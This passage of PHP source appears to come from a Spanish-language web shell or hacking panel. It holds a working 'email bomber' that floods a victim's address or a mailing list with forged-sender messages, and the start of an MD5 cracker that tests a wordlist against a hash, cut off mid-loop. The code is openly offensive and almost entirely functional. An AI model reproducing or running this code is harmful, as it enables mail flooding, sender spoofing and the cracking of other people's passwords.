echo "<br><br><font color=red><h3><center>Acceso Denegado</center></h3></font><br><br>";
}
}
if (isset($_GET['bomber'])) {
echo "<center><h2>Email bomber</h2></center><br><br>
<form action='' method=POST>
<center><table border=1>
<td>CorreoVictima: </td><td><input type=text name=idiot [email protected] size=44><tr>
<td>Correo falso: </td><td><input type=text name=falso [email protected] size=44><tr>
<td>Nombre falso: </td><td><input type=text name=nombrefalso value=Veneno size=44><tr>
<td>Lista de emails: </td><td><input type=text name=listamails value=Nada size=44><tr>
<td>Asunto: </td><td><input type=text name=asunto value=Correo falso size=44><tr>
<td>Cuenta: </td><td><input type=text name=count value=1 size=44><tr>
<td>Mensaje: </td><td><textarea name=mensaje rows=7 cols=40>Esto es un correo anonimo</textarea></td><tr>
</table><br><br>
<input type=submit name=bombers value=Enviar></center>
</form>
";
}
if (isset($_POST['bombers'])) {
$need .="MIME-Version: 1.0\n";
$need .="Content-type: text/html ; charset=iso-8859-1\n";
$need .="MIME-Version: 1.0\n";
$need .="From: ".$_POST['nombrefalso']." <".$_POST['falso'].">\n";
$need .="To: ".$_POST['nombrefalso']."<".$_POST['falso'].">\n";
$need .="Reply-To:".$_POST['falso']."\n";
$need .="X-Priority: 1\n";
$need .="X-MSMail-Priority:Hight\n";
$need .="X-Mailer:Widgets.com Server";
echo "<br><br><br><center><h2>Resultado</h2><br><br>";
for ($i = 1; $i <= $_POST['count']; $i++) {
if ($_POST['listamails'] != "None") {
$open = fopen($_POST['listamails'],"r");
while(!feof($open)) {
$word = fgets($open,255);
$word = chop($word);
if(@mail($word,$_POST['asunto'],$_POST['mensaje'],$need)) {
echo "[+] Mensaje <b>$i</b> to <b>".$word."</b> enviado<br>";
flush();
} else {
echo "[+] Mensaje <b>$i</b> to <b>".$word."</b> No enviado<br>";
}}} else {
if(@mail($_POST['idiot'],$_POST['asunto'],$_POST['mensaje'],$need)) {
echo "[+] Mensaje <b>$i</b> to <b>".$_POST['idiot']."</b> Enviado<br>";
flush();
} else {
echo "[+] Mensaje <b>$i</b> to <b>".$_POST['idiot']."</b> No enviado<br>";
}}}
echo "</center>";
}
if (isset($_GET['md5crack'])) {
echo "
<center>
<h2>MD5 Cracker</h2><br><br>
<form action='' method=POST>
<table border=1>
<td><b>Hash: </b></td><td><input type=text name=md5 size=50 value=f81f10e631f3c519d5a44d8da976fb67go></td><tr>
<td><b>Saltado: </b></td><td><input type=text name=salto size=50></td><tr>
<td><b>Lista de palabras: </b></td><td><input type=text name=listmd5 size=50 value='/var/www/html/ejemplo.txt'></td>
</table><br><br>
<input type=submit value=Crackear>
</form>
</center>
";
}
if (isset($_POST['md5'])) {
$open = fopen($_POST['listmd5'],"r");
echo "<br><br><fieldset><center>";
echo "<br>[+] Empezando a buscar<br><br>";
while(!feof($open)) {
$word = fgets($open,255);
$linea = chop($word);
if (!empty($_POST['salto'])) {
$test = md5($linea.$_POST['salto']);